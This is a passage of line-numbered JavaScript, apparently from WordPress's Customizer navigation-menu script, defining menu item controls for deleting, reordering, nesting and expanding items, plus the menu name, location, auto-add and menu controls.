1851 }
1852 }
1853 });
1854
1855 control.setting.bind(function( to, from ) {
1856 var itemId = control.params.menu_item_id,
1857 followingSiblingItemControls = [],
1858 childrenItemControls = [],
1859 menuControl;
1860
1861 if ( false === to ) {
1862 menuControl = api.control( 'nav_menu[' + String( from.nav_menu_term_id ) + ']' );
1863 control.container.remove();
1864
1865 _.each( menuControl.getMenuItemControls(), function( otherControl ) {
1866 if ( from.menu_item_parent === otherControl.setting().menu_item_parent && otherControl.setting().position > from.position ) {
1867 followingSiblingItemControls.push( otherControl );
1868 } else if ( otherControl.setting().menu_item_parent === itemId ) {
1869 childrenItemControls.push( otherControl );
1870 }
1871 });
1872
1873 // Shift all following siblings by the number of children this item has.
1874 _.each( followingSiblingItemControls, function( followingSiblingItemControl ) {
1875 var value = _.clone( followingSiblingItemControl.setting() );
1876 value.position += childrenItemControls.length;
1877 followingSiblingItemControl.setting.set( value );
1878 });
1879
1880 // Now move the children up to be the new subsequent siblings.
1881 _.each( childrenItemControls, function( childrenItemControl, i ) {
1882 var value = _.clone( childrenItemControl.setting() );
1883 value.position = from.position + i;
1884 value.menu_item_parent = from.menu_item_parent;
1885 childrenItemControl.setting.set( value );
1886 });
1887
1888 menuControl.debouncedReflowMenuItems();
1889 } else {
1890 // Update the elements' values to match the new setting properties.
1891 _.each( to, function( value, key ) {
1892 if ( control.elements[ key] ) {
1893 control.elements[ key ].set( to[ key ] );
1894 }
1895 } );
1896 control.container.find( '.menu-item-data-parent-id' ).val( to.menu_item_parent );
1897
1898 // Handle UI updates when the position or depth (parent) change.
1899 if ( to.position !== from.position || to.menu_item_parent !== from.menu_item_parent ) {
1900 control.getMenuControl().debouncedReflowMenuItems();
1901 }
1902 }
1903 });
1904
1905 // Style the URL field as invalid when there is an invalid_url notification.
1906 updateNotifications = function() {
1907 control.elements.url.element.toggleClass( 'invalid', control.setting.notifications.has( 'invalid_url' ) );
1908 };
1909 control.setting.notifications.bind( 'add', updateNotifications );
1910 control.setting.notifications.bind( 'removed', updateNotifications );
1911 },
1912
1913 /**
1914 * Set up event handlers for menu item deletion.
1915 */
1916 _setupRemoveUI: function() {
1917 var control = this, $removeBtn;
1918
1919 // Configure delete button.
1920 $removeBtn = control.container.find( '.item-delete' );
1921
1922 $removeBtn.on( 'click', function() {
1923 // Find an adjacent element to add focus to when this menu item goes away.
1924 var addingItems = true, $adjacentFocusTarget, $next, $prev,
1925 instanceCounter = 0, // Instance count of the menu item deleted.
1926 deleteItemOriginalItemId = control.params.original_item_id,
1927 addedItems = control.getMenuControl().$sectionContent.find( '.menu-item' ),
1928 availableMenuItem;
1929
1930 if ( ! $( 'body' ).hasClass( 'adding-menu-items' ) ) {
1931 addingItems = false;
1932 }
1933
1934 $next = control.container.nextAll( '.customize-control-nav_menu_item:visible' ).first();
1935 $prev = control.container.prevAll( '.customize-control-nav_menu_item:visible' ).first();
1936
1937 if ( $next.length ) {
1938 $adjacentFocusTarget = $next.find( false === addingItems ? '.item-edit' : '.item-delete' ).first();
1939 } else if ( $prev.length ) {
1940 $adjacentFocusTarget = $prev.find( false === addingItems ? '.item-edit' : '.item-delete' ).first();
1941 } else {
1942 $adjacentFocusTarget = control.container.nextAll( '.customize-control-nav_menu' ).find( '.add-new-menu-item' ).first();
1943 }
1944
1945 /*
1946 * If the menu item deleted is the only of its instance left,
1947 * remove the check icon of this menu item in the right panel.
1948 */
1949 _.each( addedItems, function( addedItem ) {
1950 var menuItemId, menuItemControl, matches;
1951
1952 // This is because menu item that's deleted is just hidden.
1953 if ( ! $( addedItem ).is( ':visible' ) ) {
1954 return;
1955 }
1956
1957 matches = addedItem.getAttribute( 'id' ).match( /^customize-control-nav_menu_item-(-?\d+)$/, '' );
1958 if ( ! matches ) {
1959 return;
1960 }
1961
1962 menuItemId = parseInt( matches[1], 10 );
1963 menuItemControl = api.control( 'nav_menu_item[' + String( menuItemId ) + ']' );
1964
1965 // Check for duplicate menu items.
1966 if ( menuItemControl && deleteItemOriginalItemId == menuItemControl.params.original_item_id ) {
1967 instanceCounter++;
1968 }
1969 } );
1970
1971 if ( instanceCounter <= 1 ) {
1972 // Revert the check icon to add icon.
1973 availableMenuItem = $( '#menu-item-tpl-' + control.params.original_item_id );
1974 availableMenuItem.removeClass( 'selected' );
1975 availableMenuItem.find( '.menu-item-handle' ).removeClass( 'item-added' );
1976 }
1977
1978 control.container.slideUp( function() {
1979 control.setting.set( false );
1980 wp.a11y.speak( api.Menus.data.l10n.itemDeleted );
1981 $adjacentFocusTarget.focus(); // Keyboard accessibility.
1982 } );
1983
1984 control.setting.set( false );
1985 } );
1986 },
1987
1988 _setupLinksUI: function() {
1989 var $origBtn;
1990
1991 // Configure original link.
1992 $origBtn = this.container.find( 'a.original-link' );
1993
1994 $origBtn.on( 'click', function( e ) {
1995 e.preventDefault();
1996 api.previewer.previewUrl( e.target.toString() );
1997 } );
1998 },
1999
2000 /**
2001 * Update item handle title when changed.
2002 */
2003 _setupTitleUI: function() {
2004 var control = this, titleEl;
2005
2006 // Ensure that whitespace is trimmed on blur so placeholder can be shown.
2007 control.container.find( '.edit-menu-item-title' ).on( 'blur', function() {
2008 $( this ).val( $( this ).val().trim() );
2009 } );
2010
2011 titleEl = control.container.find( '.menu-item-title' );
2012 control.setting.bind( function( item ) {
2013 var trimmedTitle, titleText;
2014 if ( ! item ) {
2015 return;
2016 }
2017 item.title = item.title || '';
2018 trimmedTitle = item.title.trim();
2019
2020 titleText = trimmedTitle || item.original_title || api.Menus.data.l10n.untitled;
2021
2022 if ( item._invalid ) {
2023 titleText = api.Menus.data.l10n.invalidTitleTpl.replace( '%s', titleText );
2024 }
2025
2026 // Don't update to an empty title.
2027 if ( trimmedTitle || item.original_title ) {
2028 titleEl
2029 .text( titleText )
2030 .removeClass( 'no-title' );
2031 } else {
2032 titleEl
2033 .text( titleText )
2034 .addClass( 'no-title' );
2035 }
2036 } );
2037 },
2038
2039 /**
2040 *
2041 * @return {number}
2042 */
2043 getDepth: function() {
2044 var control = this, setting = control.setting(), depth = 0;
2045 if ( ! setting ) {
2046 return 0;
2047 }
2048 while ( setting && setting.menu_item_parent ) {
2049 depth += 1;
2050 control = api.control( 'nav_menu_item[' + setting.menu_item_parent + ']' );
2051 if ( ! control ) {
2052 break;
2053 }
2054 setting = control.setting();
2055 }
2056 return depth;
2057 },
2058
2059 /**
2060 * Amend the control's params with the data necessary for the JS template just in time.
2061 */
2062 renderContent: function() {
2063 var control = this,
2064 settingValue = control.setting(),
2065 containerClasses;
2066
2067 control.params.title = settingValue.title || '';
2068 control.params.depth = control.getDepth();
2069 control.container.data( 'item-depth', control.params.depth );
2070 containerClasses = [
2071 'menu-item',
2072 'menu-item-depth-' + String( control.params.depth ),
2073 'menu-item-' + settingValue.object,
2074 'menu-item-edit-inactive'
2075 ];
2076
2077 if ( settingValue._invalid ) {
2078 containerClasses.push( 'menu-item-invalid' );
2079 control.params.title = api.Menus.data.l10n.invalidTitleTpl.replace( '%s', control.params.title );
2080 } else if ( 'draft' === settingValue.status ) {
2081 containerClasses.push( 'pending' );
2082 control.params.title = api.Menus.data.pendingTitleTpl.replace( '%s', control.params.title );
2083 }
2084
2085 control.params.el_classes = containerClasses.join( ' ' );
2086 control.params.item_type_label = settingValue.type_label;
2087 control.params.item_type = settingValue.type;
2088 control.params.url = settingValue.url;
2089 control.params.target = settingValue.target;
2090 control.params.attr_title = settingValue.attr_title;
2091 control.params.classes = _.isArray( settingValue.classes ) ? settingValue.classes.join( ' ' ) : settingValue.classes;
2092 control.params.xfn = settingValue.xfn;
2093 control.params.description = settingValue.description;
2094 control.params.parent = settingValue.menu_item_parent;
2095 control.params.original_title = settingValue.original_title || '';
2096
2097 control.container.addClass( control.params.el_classes );
2098
2099 api.Control.prototype.renderContent.call( control );
2100 },
2101
2102 /***********************************************************************
2103 * Begin public API methods
2104 **********************************************************************/
2105
2106 /**
2107 * @return {wp.customize.controlConstructor.nav_menu|null}
2108 */
2109 getMenuControl: function() {
2110 var control = this, settingValue = control.setting();
2111 if ( settingValue && settingValue.nav_menu_term_id ) {
2112 return api.control( 'nav_menu[' + settingValue.nav_menu_term_id + ']' );
2113 } else {
2114 return null;
2115 }
2116 },
2117
2118 /**
2119 * Expand the accordion section containing a control
2120 */
2121 expandControlSection: function() {
2122 var $section = this.container.closest( '.accordion-section' );
2123 if ( ! $section.hasClass( 'open' ) ) {
2124 $section.find( '.accordion-section-title:first' ).trigger( 'click' );
2125 }
2126 },
2127
2128 /**
2129 * @since 4.6.0
2130 *
2131 * @param {Boolean} expanded
2132 * @param {Object} [params]
2133 * @return {Boolean} False if state already applied.
2134 */
2135 _toggleExpanded: api.Section.prototype._toggleExpanded,
2136
2137 /**
2138 * @since 4.6.0
2139 *
2140 * @param {Object} [params]
2141 * @return {Boolean} False if already expanded.
2142 */
2143 expand: api.Section.prototype.expand,
2144
2145 /**
2146 * Expand the menu item form control.
2147 *
2148 * @since 4.5.0 Added params.completeCallback.
2149 *
2150 * @param {Object} [params] - Optional params.
2151 * @param {Function} [params.completeCallback] - Function to call when the form toggle has finished animating.
2152 */
2153 expandForm: function( params ) {
2154 this.expand( params );
2155 },
2156
2157 /**
2158 * @since 4.6.0
2159 *
2160 * @param {Object} [params]
2161 * @return {Boolean} False if already collapsed.
2162 */
2163 collapse: api.Section.prototype.collapse,
2164
2165 /**
2166 * Collapse the menu item form control.
2167 *
2168 * @since 4.5.0 Added params.completeCallback.
2169 *
2170 * @param {Object} [params] - Optional params.
2171 * @param {Function} [params.completeCallback] - Function to call when the form toggle has finished animating.
2172 */
2173 collapseForm: function( params ) {
2174 this.collapse( params );
2175 },
2176
2177 /**
2178 * Expand or collapse the menu item control.
2179 *
2180 * @deprecated this is poor naming, and it is better to directly set control.expanded( showOrHide )
2181 * @since 4.5.0 Added params.completeCallback.
2182 *
2183 * @param {boolean} [showOrHide] - If not supplied, will be inverse of current visibility
2184 * @param {Object} [params] - Optional params.
2185 * @param {Function} [params.completeCallback] - Function to call when the form toggle has finished animating.
2186 */
2187 toggleForm: function( showOrHide, params ) {
2188 if ( typeof showOrHide === 'undefined' ) {
2189 showOrHide = ! this.expanded();
2190 }
2191 if ( showOrHide ) {
2192 this.expand( params );
2193 } else {
2194 this.collapse( params );
2195 }
2196 },
2197
2198 /**
2199 * Expand or collapse the menu item control.
2200 *
2201 * @since 4.6.0
2202 * @param {boolean} [showOrHide] - If not supplied, will be inverse of current visibility
2203 * @param {Object} [params] - Optional params.
2204 * @param {Function} [params.completeCallback] - Function to call when the form toggle has finished animating.
2205 */
2206 onChangeExpanded: function( showOrHide, params ) {
2207 var self = this, $menuitem, $inside, complete;
2208
2209 $menuitem = this.container;
2210 $inside = $menuitem.find( '.menu-item-settings:first' );
2211 if ( 'undefined' === typeof showOrHide ) {
2212 showOrHide = ! $inside.is( ':visible' );
2213 }
2214
2215 // Already expanded or collapsed.
2216 if ( $inside.is( ':visible' ) === showOrHide ) {
2217 if ( params && params.completeCallback ) {
2218 params.completeCallback();
2219 }
2220 return;
2221 }
2222
2223 if ( showOrHide ) {
2224 // Close all other menu item controls before expanding this one.
2225 api.control.each( function( otherControl ) {
2226 if ( self.params.type === otherControl.params.type && self !== otherControl ) {
2227 otherControl.collapseForm();
2228 }
2229 } );
2230
2231 complete = function() {
2232 $menuitem
2233 .removeClass( 'menu-item-edit-inactive' )
2234 .addClass( 'menu-item-edit-active' );
2235 self.container.trigger( 'expanded' );
2236
2237 if ( params && params.completeCallback ) {
2238 params.completeCallback();
2239 }
2240 };
2241
2242 $menuitem.find( '.item-edit' ).attr( 'aria-expanded', 'true' );
2243 $inside.slideDown( 'fast', complete );
2244
2245 self.container.trigger( 'expand' );
2246 } else {
2247 complete = function() {
2248 $menuitem
2249 .addClass( 'menu-item-edit-inactive' )
2250 .removeClass( 'menu-item-edit-active' );
2251 self.container.trigger( 'collapsed' );
2252
2253 if ( params && params.completeCallback ) {
2254 params.completeCallback();
2255 }
2256 };
2257
2258 self.container.trigger( 'collapse' );
2259
2260 $menuitem.find( '.item-edit' ).attr( 'aria-expanded', 'false' );
2261 $inside.slideUp( 'fast', complete );
2262 }
2263 },
2264
2265 /**
2266 * Expand the containing menu section, expand the form, and focus on
2267 * the first input in the control.
2268 *
2269 * @since 4.5.0 Added params.completeCallback.
2270 *
2271 * @param {Object} [params] - Params object.
2272 * @param {Function} [params.completeCallback] - Optional callback function when focus has completed.
2273 */
2274 focus: function( params ) {
2275 params = params || {};
2276 var control = this, originalCompleteCallback = params.completeCallback, focusControl;
2277
2278 focusControl = function() {
2279 control.expandControlSection();
2280
2281 params.completeCallback = function() {
2282 var focusable;
2283
2284 // Note that we can't use :focusable due to a jQuery UI issue. See: https://github.com/jquery/jquery-ui/pull/1583
2285 focusable = control.container.find( '.menu-item-settings' ).find( 'input, select, textarea, button, object, a[href], [tabindex]' ).filter( ':visible' );
2286 focusable.first().focus();
2287
2288 if ( originalCompleteCallback ) {
2289 originalCompleteCallback();
2290 }
2291 };
2292
2293 control.expandForm( params );
2294 };
2295
2296 if ( api.section.has( control.section() ) ) {
2297 api.section( control.section() ).expand( {
2298 completeCallback: focusControl
2299 } );
2300 } else {
2301 focusControl();
2302 }
2303 },
2304
2305 /**
2306 * Move menu item up one in the menu.
2307 */
2308 moveUp: function() {
2309 this._changePosition( -1 );
2310 wp.a11y.speak( api.Menus.data.l10n.movedUp );
2311 },
2312
2313 /**
2314 * Move menu item up one in the menu.
2315 */
2316 moveDown: function() {
2317 this._changePosition( 1 );
2318 wp.a11y.speak( api.Menus.data.l10n.movedDown );
2319 },
2320 /**
2321 * Move menu item and all children up one level of depth.
2322 */
2323 moveLeft: function() {
2324 this._changeDepth( -1 );
2325 wp.a11y.speak( api.Menus.data.l10n.movedLeft );
2326 },
2327
2328 /**
2329 * Move menu item and children one level deeper, as a submenu of the previous item.
2330 */
2331 moveRight: function() {
2332 this._changeDepth( 1 );
2333 wp.a11y.speak( api.Menus.data.l10n.movedRight );
2334 },
2335
2336 /**
2337 * Note that this will trigger a UI update, causing child items to
2338 * move as well and cardinal order class names to be updated.
2339 *
2340 * @private
2341 *
2342 * @param {number} offset 1|-1
2343 */
2344 _changePosition: function( offset ) {
2345 var control = this,
2346 adjacentSetting,
2347 settingValue = _.clone( control.setting() ),
2348 siblingSettings = [],
2349 realPosition;
2350
2351 if ( 1 !== offset && -1 !== offset ) {
2352 throw new Error( 'Offset changes by 1 are only supported.' );
2353 }
2354
2355 // Skip moving deleted items.
2356 if ( ! control.setting() ) {
2357 return;
2358 }
2359
2360 // Locate the other items under the same parent (siblings).
2361 _( control.getMenuControl().getMenuItemControls() ).each(function( otherControl ) {
2362 if ( otherControl.setting().menu_item_parent === settingValue.menu_item_parent ) {
2363 siblingSettings.push( otherControl.setting );
2364 }
2365 });
2366 siblingSettings.sort(function( a, b ) {
2367 return a().position - b().position;
2368 });
2369
2370 realPosition = _.indexOf( siblingSettings, control.setting );
2371 if ( -1 === realPosition ) {
2372 throw new Error( 'Expected setting to be among siblings.' );
2373 }
2374
2375 // Skip doing anything if the item is already at the edge in the desired direction.
2376 if ( ( realPosition === 0 && offset < 0 ) || ( realPosition === siblingSettings.length - 1 && offset > 0 ) ) {
2377 // @todo Should we allow a menu item to be moved up to break it out of a parent? Adopt with previous or following parent?
2378 return;
2379 }
2380
2381 // Update any adjacent menu item setting to take on this item's position.
2382 adjacentSetting = siblingSettings[ realPosition + offset ];
2383 if ( adjacentSetting ) {
2384 adjacentSetting.set( $.extend(
2385 _.clone( adjacentSetting() ),
2386 {
2387 position: settingValue.position
2388 }
2389 ) );
2390 }
2391
2392 settingValue.position += offset;
2393 control.setting.set( settingValue );
2394 },
2395
2396 /**
2397 * Note that this will trigger a UI update, causing child items to
2398 * move as well and cardinal order class names to be updated.
2399 *
2400 * @private
2401 *
2402 * @param {number} offset 1|-1
2403 */
2404 _changeDepth: function( offset ) {
2405 if ( 1 !== offset && -1 !== offset ) {
2406 throw new Error( 'Offset changes by 1 are only supported.' );
2407 }
2408 var control = this,
2409 settingValue = _.clone( control.setting() ),
2410 siblingControls = [],
2411 realPosition,
2412 siblingControl,
2413 parentControl;
2414
2415 // Locate the other items under the same parent (siblings).
2416 _( control.getMenuControl().getMenuItemControls() ).each(function( otherControl ) {
2417 if ( otherControl.setting().menu_item_parent === settingValue.menu_item_parent ) {
2418 siblingControls.push( otherControl );
2419 }
2420 });
2421 siblingControls.sort(function( a, b ) {
2422 return a.setting().position - b.setting().position;
2423 });
2424
2425 realPosition = _.indexOf( siblingControls, control );
2426 if ( -1 === realPosition ) {
2427 throw new Error( 'Expected control to be among siblings.' );
2428 }
2429
2430 if ( -1 === offset ) {
2431 // Skip moving left an item that is already at the top level.
2432 if ( ! settingValue.menu_item_parent ) {
2433 return;
2434 }
2435
2436 parentControl = api.control( 'nav_menu_item[' + settingValue.menu_item_parent + ']' );
2437
2438 // Make this control the parent of all the following siblings.
2439 _( siblingControls ).chain().slice( realPosition ).each(function( siblingControl, i ) {
2440 siblingControl.setting.set(
2441 $.extend(
2442 {},
2443 siblingControl.setting(),
2444 {
2445 menu_item_parent: control.params.menu_item_id,
2446 position: i
2447 }
2448 )
2449 );
2450 });
2451
2452 // Increase the positions of the parent item's subsequent children to make room for this one.
2453 _( control.getMenuControl().getMenuItemControls() ).each(function( otherControl ) {
2454 var otherControlSettingValue, isControlToBeShifted;
2455 isControlToBeShifted = (
2456 otherControl.setting().menu_item_parent === parentControl.setting().menu_item_parent &&
2457 otherControl.setting().position > parentControl.setting().position
2458 );
2459 if ( isControlToBeShifted ) {
2460 otherControlSettingValue = _.clone( otherControl.setting() );
2461 otherControl.setting.set(
2462 $.extend(
2463 otherControlSettingValue,
2464 { position: otherControlSettingValue.position + 1 }
2465 )
2466 );
2467 }
2468 });
2469
2470 // Make this control the following sibling of its parent item.
2471 settingValue.position = parentControl.setting().position + 1;
2472 settingValue.menu_item_parent = parentControl.setting().menu_item_parent;
2473 control.setting.set( settingValue );
2474
2475 } else if ( 1 === offset ) {
2476 // Skip moving right an item that doesn't have a previous sibling.
2477 if ( realPosition === 0 ) {
2478 return;
2479 }
2480
2481 // Make the control the last child of the previous sibling.
2482 siblingControl = siblingControls[ realPosition - 1 ];
2483 settingValue.menu_item_parent = siblingControl.params.menu_item_id;
2484 settingValue.position = 0;
2485 _( control.getMenuControl().getMenuItemControls() ).each(function( otherControl ) {
2486 if ( otherControl.setting().menu_item_parent === settingValue.menu_item_parent ) {
2487 settingValue.position = Math.max( settingValue.position, otherControl.setting().position );
2488 }
2489 });
2490 settingValue.position += 1;
2491 control.setting.set( settingValue );
2492 }
2493 }
2494 } );
2495
2496 /**
2497 * wp.customize.Menus.MenuNameControl
2498 *
2499 * Customizer control for a nav menu's name.
2500 *
2501 * @class wp.customize.Menus.MenuNameControl
2502 * @augments wp.customize.Control
2503 */
2504 api.Menus.MenuNameControl = api.Control.extend(/** @lends wp.customize.Menus.MenuNameControl.prototype */{
2505
2506 ready: function() {
2507 var control = this;
2508
2509 if ( control.setting ) {
2510 var settingValue = control.setting();
2511
2512 control.nameElement = new api.Element( control.container.find( '.menu-name-field' ) );
2513
2514 control.nameElement.bind(function( value ) {
2515 var settingValue = control.setting();
2516 if ( settingValue && settingValue.name !== value ) {
2517 settingValue = _.clone( settingValue );
2518 settingValue.name = value;
2519 control.setting.set( settingValue );
2520 }
2521 });
2522 if ( settingValue ) {
2523 control.nameElement.set( settingValue.name );
2524 }
2525
2526 control.setting.bind(function( object ) {
2527 if ( object ) {
2528 control.nameElement.set( object.name );
2529 }
2530 });
2531 }
2532 }
2533 });
2534
2535 /**
2536 * wp.customize.Menus.MenuLocationsControl
2537 *
2538 * Customizer control for a nav menu's locations.
2539 *
2540 * @since 4.9.0
2541 * @class wp.customize.Menus.MenuLocationsControl
2542 * @augments wp.customize.Control
2543 */
2544 api.Menus.MenuLocationsControl = api.Control.extend(/** @lends wp.customize.Menus.MenuLocationsControl.prototype */{
2545
2546 /**
2547 * Set up the control.
2548 *
2549 * @since 4.9.0
2550 */
2551 ready: function () {
2552 var control = this;
2553
2554 control.container.find( '.assigned-menu-location' ).each(function() {
2555 var container = $( this ),
2556 checkbox = container.find( 'input[type=checkbox]' ),
2557 element = new api.Element( checkbox ),
2558 navMenuLocationSetting = api( 'nav_menu_locations[' + checkbox.data( 'location-id' ) + ']' ),
2559 isNewMenu = control.params.menu_id === '',
2560 updateCheckbox = isNewMenu ? _.noop : function( checked ) {
2561 element.set( checked );
2562 },
2563 updateSetting = isNewMenu ? _.noop : function( checked ) {
2564 navMenuLocationSetting.set( checked ? control.params.menu_id : 0 );
2565 },
2566 updateSelectedMenuLabel = function( selectedMenuId ) {
2567 var menuSetting = api( 'nav_menu[' + String( selectedMenuId ) + ']' );
2568 if ( ! selectedMenuId || ! menuSetting || ! menuSetting() ) {
2569 container.find( '.theme-location-set' ).hide();
2570 } else {
2571 container.find( '.theme-location-set' ).show().find( 'span' ).text( displayNavMenuName( menuSetting().name ) );
2572 }
2573 };
2574
2575 updateCheckbox( navMenuLocationSetting.get() === control.params.menu_id );
2576
2577 checkbox.on( 'change', function() {
2578 // Note: We can't use element.bind( function( checked ){ ... } ) here because it will trigger a change as well.
2579 updateSetting( this.checked );
2580 } );
2581
2582 navMenuLocationSetting.bind( function( selectedMenuId ) {
2583 updateCheckbox( selectedMenuId === control.params.menu_id );
2584 updateSelectedMenuLabel( selectedMenuId );
2585 } );
2586 updateSelectedMenuLabel( navMenuLocationSetting.get() );
2587 });
2588 },
2589
2590 /**
2591 * Set the selected locations.
2592 *
2593 * This method sets the selected locations and allows us to do things like
2594 * set the default location for a new menu.
2595 *
2596 * @since 4.9.0
2597 *
2598 * @param {Object.<string,boolean>} selections - A map of location selections.
2599 * @return {void}
2600 */
2601 setSelections: function( selections ) {
2602 this.container.find( '.menu-location' ).each( function( i, checkboxNode ) {
2603 var locationId = checkboxNode.dataset.locationId;
2604 checkboxNode.checked = locationId in selections ? selections[ locationId ] : false;
2605 } );
2606 }
2607 });
2608
2609 /**
2610 * wp.customize.Menus.MenuAutoAddControl
2611 *
2612 * Customizer control for a nav menu's auto add.
2613 *
2614 * @class wp.customize.Menus.MenuAutoAddControl
2615 * @augments wp.customize.Control
2616 */
2617 api.Menus.MenuAutoAddControl = api.Control.extend(/** @lends wp.customize.Menus.MenuAutoAddControl.prototype */{
2618
2619 ready: function() {
2620 var control = this,
2621 settingValue = control.setting();
2622
2623 /*
2624 * Since the control is not registered in PHP, we need to prevent the
2625 * preview's sending of the activeControls to result in this control
2626 * being deactivated.
2627 */
2628 control.active.validate = function() {
2629 var value, section = api.section( control.section() );
2630 if ( section ) {
2631 value = section.active();
2632 } else {
2633 value = false;
2634 }
2635 return value;
2636 };
2637
2638 control.autoAddElement = new api.Element( control.container.find( 'input[type=checkbox].auto_add' ) );
2639
2640 control.autoAddElement.bind(function( value ) {
2641 var settingValue = control.setting();
2642 if ( settingValue && settingValue.name !== value ) {
2643 settingValue = _.clone( settingValue );
2644 settingValue.auto_add = value;
2645 control.setting.set( settingValue );
2646 }
2647 });
2648 if ( settingValue ) {
2649 control.autoAddElement.set( settingValue.auto_add );
2650 }
2651
2652 control.setting.bind(function( object ) {
2653 if ( object ) {
2654 control.autoAddElement.set( object.auto_add );
2655 }
2656 });
2657 }
2658
2659 });
2660
2661 /**
2662 * wp.customize.Menus.MenuControl
2663 *
2664 * Customizer control for menus.
2665 * Note that 'nav_menu' must match the WP_Menu_Customize_Control::$type
2666 *
2667 * @class wp.customize.Menus.MenuControl
2668 * @augments wp.customize.Control
2669 */
2670 api.Menus.MenuControl = api.Control.extend(/** @lends wp.customize.Menus.MenuControl.prototype */{
2671 /**
2672 * Set up the control.
2673 */
2674 ready: function() {
2675 var control = this,
2676 section = api.section( control.section() ),
2677 menuId = control.params.menu_id,
2678 menu = control.setting(),
2679 name,
2680 widgetTemplate,
2681 select;
2682
2683 if ( 'undefined' === typeof this.params.menu_id ) {
2684 throw new Error( 'params.menu_id was not defined' );
2685 }
2686
2687 /*
2688 * Since the control is not registered in PHP, we need to prevent the
2689 * preview's sending of the activeControls to result in this control
2690 * being deactivated.
2691 */
2692 control.active.validate = function() {
2693 var value;
2694 if ( section ) {
2695 value = section.active();
2696 } else {
2697 value = false;
2698 }
2699 return value;
2700 };
2701
2702 control.$controlSection = section.headContainer;
2703 control.$sectionContent = control.container.closest( '.accordion-section-content' );
2704
2705 this._setupModel();
2706
2707 api.section( control.section(), function( section ) {
2708 section.deferred.initSortables.done(function( menuList ) {
2709 control._setupSortable( menuList );
2710 });
2711 } );
2712
2713 this._setupAddition();
2714 this._setupTitle();
2715
2716 // Add menu to Navigation Menu widgets.
2717 if ( menu ) {
2718 name = displayNavMenuName( menu.name );
2719
2720 // Add the menu to the existing controls.
2721 api.control.each( function( widgetControl ) {
2722 if ( ! widgetControl.extended( api.controlConstructor.widget_form ) || 'nav_menu' !== widgetControl.params.widget_id_base ) {
2723 return;
2724 }
2725 widgetControl.container.find( '.nav-menu-widget-form-controls:first' ).show();
2726 widgetControl.container.find( '.nav-menu-widget-no-menus-message:first' ).hide();
2727
2728 select = widgetControl.container.find( 'select' );
2729 if ( 0 === select.find( 'option[value=' + String( menuId ) + ']' ).length ) {
2730 select.append( new Option( name, menuId ) );
2731 }
2732 } );
2733
2734 // Add the menu to the widget template.
2735 widgetTemplate = $( '#available-widgets-list .widget-tpl:has( input.id_base[ value=nav_menu ] )' );
2736 widgetTemplate.find( '.nav-menu-widget-form-controls:first' ).show();
2737 widgetTemplate.find( '.nav-menu-widget-no-menus-message:first' ).hide();
2738 select = widgetTemplate.find( '.widget-inside select:first' );
2739 if ( 0 === select.find( 'option[value=' + String( menuId ) + ']' ).length ) {
2740 select.append( new Option( name, menuId ) );
2741 }
2742 }
2743
2744 /*
2745 * Wait for menu items to be added.
2746 * Ideally, we'd bind to an event indicating construction is complete,
2747 * but deferring appears to be the best option today.
2748 */
2749 _.defer( function () {
2750 control.updateInvitationVisibility();
2751 } );
2752 },
2753
2754 /**
2755 * Update ordering of menu item controls when the setting is updated.
2756 */
2757 _setupModel: function() {
2758 var control = this,
2759 menuId = control.params.menu_id;
2760
2761 control.setting.bind( function( to ) {
2762 var name;
2763 if ( false === to ) {
2764 control._handleDeletion();
2765 } else {
2766 // Update names in the Navigation Menu widgets.
2767 name = displayNavMenuName( to.name );
2768 api.control.each( function( widgetControl ) {
2769 if ( ! widgetControl.extended( api.controlConstructor.widget_form ) || 'nav_menu' !== widgetControl.params.widget_id_base ) {
2770 return;
2771 }
2772 var select = widgetControl.container.find( 'select' );
2773 select.find( 'option[value=' + String( menuId ) + ']' ).text( name );
2774 });
2775 }
2776 } );
2777 },
2778
2779 /**
2780 * Allow items in each menu to be re-ordered, and for the order to be previewed.
2781 *
2782 * Notice that the UI aspects here are handled by wpNavMenu.initSortables()
2783 * which is called in MenuSection.onChangeExpanded()
2784 *
2785 * @param {Object} menuList - The element that has sortable().
2786 */
2787 _setupSortable: function( menuList ) {
2788 var control = this;
2789
2790 if ( ! menuList.is( control.$sectionContent ) ) {
2791 throw new Error( 'Unexpected menuList.' );
2792 }
2793
2794 menuList.on( 'sortstart', function() {
2795 control.isSorting = true;
2796 });
2797
2798 menuList.on( 'sortstop', function() {
2799 setTimeout( function() { // Next tick.
2800 var menuItemContainerIds = control.$sectionContent.sortable( 'toArray' ),
2801 menuItemControls = [],
2802 position = 0,
2803 priority = 10;
2804
2805 control.isSorting = false;
2806
2807 // Reset horizontal scroll position when done dragging.
2808 control.$sectionContent.scrollLeft( 0 );
2809
2810 _.each( menuItemContainerIds, function( menuItemContainerId ) {
2811 var menuItemId, menuItemControl, matches;
2812 matches = menuItemContainerId.match( /^customize-control-nav_menu_item-(-?\d+)$/, '' );
2813 if ( ! matches ) {
2814 return;
2815 }
2816 menuItemId = parseInt( matches[1], 10 );
2817 menuItemControl = api.control( 'nav_menu_item[' + String( menuItemId ) + ']' );
2818 if ( menuItemControl ) {
2819 menuItemControls.push( menuItemControl );
2820 }
2821 } );
2822
2823 _.each( menuItemControls, function( menuItemControl ) {
2824 if ( false === menuItemControl.setting() ) {
2825 // Skip deleted items.
2826 return;
2827 }
2828 var setting = _.clone( menuItemControl.setting() );
2829 position += 1;
2830 priority += 1;
2831 setting.position = position;
2832 menuItemControl.priority( priority );
2833
2834 // Note that wpNavMenu will be setting this .menu-item-data-parent-id input's value.
2835 setting.menu_item_parent = parseInt( menuItemControl.container.find( '.menu-item-data-parent-id' ).val(), 10 );
2836 if ( ! setting.menu_item_parent ) {
2837 setting.menu_item_parent = 0;
2838 }
2839
2840 menuItemControl.setting.set( setting );
2841 });
2842
2843 // Mark all menu items as unprocessed.
2844 $( 'button.item-edit' ).data( 'needs_accessibility_refresh', true );
2845 });
2846
2847 });
2848 control.isReordering = false;
2849
2850 /**
2851 * Keyboard-accessible reordering.
2852 */
2853 this.container.find( '.reorder-toggle' ).on( 'click', function() {
2854 control.toggleReordering( ! control.isReordering );
2855 } );
2856 },
2857
2858 /**
2859 * Set up UI for adding a new menu item.
2860 */
2861 _setupAddition: function() {
2862 var self = this;
2863
2864 this.container.find( '.add-new-menu-item' ).on( 'click', function( event ) {
2865 if ( self.$sectionContent.hasClass( 'reordering' ) ) {
2866 return;
2867 }
2868
2869 if ( ! $( 'body' ).hasClass( 'adding-menu-items' ) ) {
2870 $( this ).attr( 'aria-expanded', 'true' );
2871 api.Menus.availableMenuItemsPanel.open( self );
2872 } else {
2873 $( this ).attr( 'aria-expanded', 'false' );
2874 api.Menus.availableMenuItemsPanel.close();
2875 event.stopPropagation();
2876 }
2877 } );
2878 },
2879
2880 _handleDeletion: function() {
